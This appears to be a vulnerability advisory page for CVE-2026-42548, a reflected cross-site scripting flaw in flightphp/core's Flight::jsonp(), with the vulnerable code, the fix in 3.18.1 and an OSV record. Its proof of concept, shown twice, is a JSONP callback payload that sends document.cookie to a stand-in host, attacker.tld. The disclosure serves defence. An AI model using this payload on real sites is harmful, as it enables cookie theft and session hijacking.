CVE-2026-42548: Flightphp/core :jsonp() Vulnerability

HIGH
Advisory Identifier: GHSA-fcx8-ph5r-mxr4
CWE-79
Published
Advisory Summary

CVE-2026-42548 is a HIGH :jsonp() vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Flightphp/core libraries in the Packagist ecosystem. The issue involves :jsonp(). Remediation is available by upgrading affected packages to version 3.18.1.

CVE-2026-42548 at a Glance

CVE Identifier CVE-2026-42548
GHSA Identifier GHSA-fcx8-ph5r-mxr4
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Flightphp/core
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2026-42548

To remediate this vulnerability, upgrade all affected Flightphp/core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

flightphp/core fixed: 3.18.1
Upgrade flightphp/core to 3.18.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for flightphp/core

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-42548, inspect your project dependencies for Flightphp/core:

inspect dependencies for flightphp/core

Analyze the terminal output to locate any version of Flightphp/core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.18.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Flightphp/core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting. ### Affected code `flight/Engine.php` (≈ lines 1000-1013): ```php $callback = $this->request()->query[$param]; $this->response() ->status($code) ->header('Content-Type', 'application/javascript; charset=' . $charset) ->write($callback . '(' . $json . ');'); ``` No regex or identifier validation is performed before the callback is written. ### Proof of concept Given any route that calls `Flight::jsonp($data)`: ``` GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);// ``` Reproduced response (`Content-Type: application/javascript`): ``` ;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"}); ``` When the vulnerable endpoint is loaded via `<script src="https://victim.tld/api?jsonp=…">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow. ### Impact - Reflected XSS in any application calling `Flight::jsonp()`. - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages. - Exfiltration of authenticated API responses. ### Patch (fixed in `3.18.1`, commit `b8dd23a`) `_jsonp()` now validates the callback name against `^[A-Za-z_$][\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before. ### Credit Discovered by **@Rootingg**.

CVE-2026-42548 Affected Flightphp/core Versions

1 component(s)
Fixed Versions:
3.18.1
Product / Package Ecosystem Affected Versions Fixed Version
flightphp/core
Packagist
< 3.18.1
3.18.1

References

Frequently Asked Questions

What is CVE-2026-42548?
CVE-2026-42548 is a security vulnerability in Flightphp/core involving :jsonp() under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Flightphp/core versions are affected?
Affected versions include releases prior to 3.18.1 across affected packages: flightphp/core.
What version fixes CVE-2026-42548?
Upgrading to 3.18.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is flightphp/core affected?
Yes, flightphp/core is affected in releases prior to 3.18.1. Upgrade your dependency to 3.18.1 or later.
What CWE is associated with CVE-2026-42548?
CVE-2026-42548 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check Packagist dependencies for CVE-2026-42548?
Run the dependency tree command: 'inspect dependencies for flightphp/core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fcx8-ph5r-mxr4",
  "modified" : "2026-05-14T20:39:53Z",
  "published" : "2026-05-06T21:34:15Z",
  "aliases" : [ "CVE-2026-42548" ],
  "summary" : "Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp() ",
  "details" : "### Summary\n`Flight::jsonp()` concatenates the `?jsonp=` query parameter directly into an `application/javascript` response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.\n\n### Affected code\n`flight/Engine.php` (≈ lines 1000-1013):\n\n```php\n$callback = $this->request()->query[$param];\n$this->response()\n    ->status($code)\n    ->header('Content-Type', 'application/javascript; charset=' . $charset)\n    ->write($callback . '(' . $json . ');');\n```\n\nNo regex or identifier validation is performed before the callback is written.\n\n### Proof of concept\nGiven any route that calls `Flight::jsonp($data)`:\n\n```\nGET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//\n```\n\nReproduced response (`Content-Type: application/javascript`):\n\n```\n;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({\"ok\":true,\"msg\":\"hello\"});\n```\n\nWhen the vulnerable endpoint is loaded via `<script src=\"https://victim.tld/api?jsonp=…\">` on a page controlled by the attacker, the injected JavaScript executes in the `victim.tld` origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.\n\n### Impact\n- Reflected XSS in any application calling `Flight::jsonp()`.\n- Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.\n- Exfiltration of authenticated API responses.\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\n`_jsonp()` now validates the callback name against `^[A-Za-z_$][\\w$.]{0,127}$` before emitting it. An empty callback (no `jsonp` parameter) still behaves as before.\n\n### Credit\nDiscovered by **@Rootingg**.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "flightphp/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.18.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/flightphp/core/security/advisories/GHSA-fcx8-ph5r-mxr4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42548"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/flightphp/core"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T21:34:15Z",
    "nvd_published_at" : "2026-05-13T20:16:21Z"
  }
}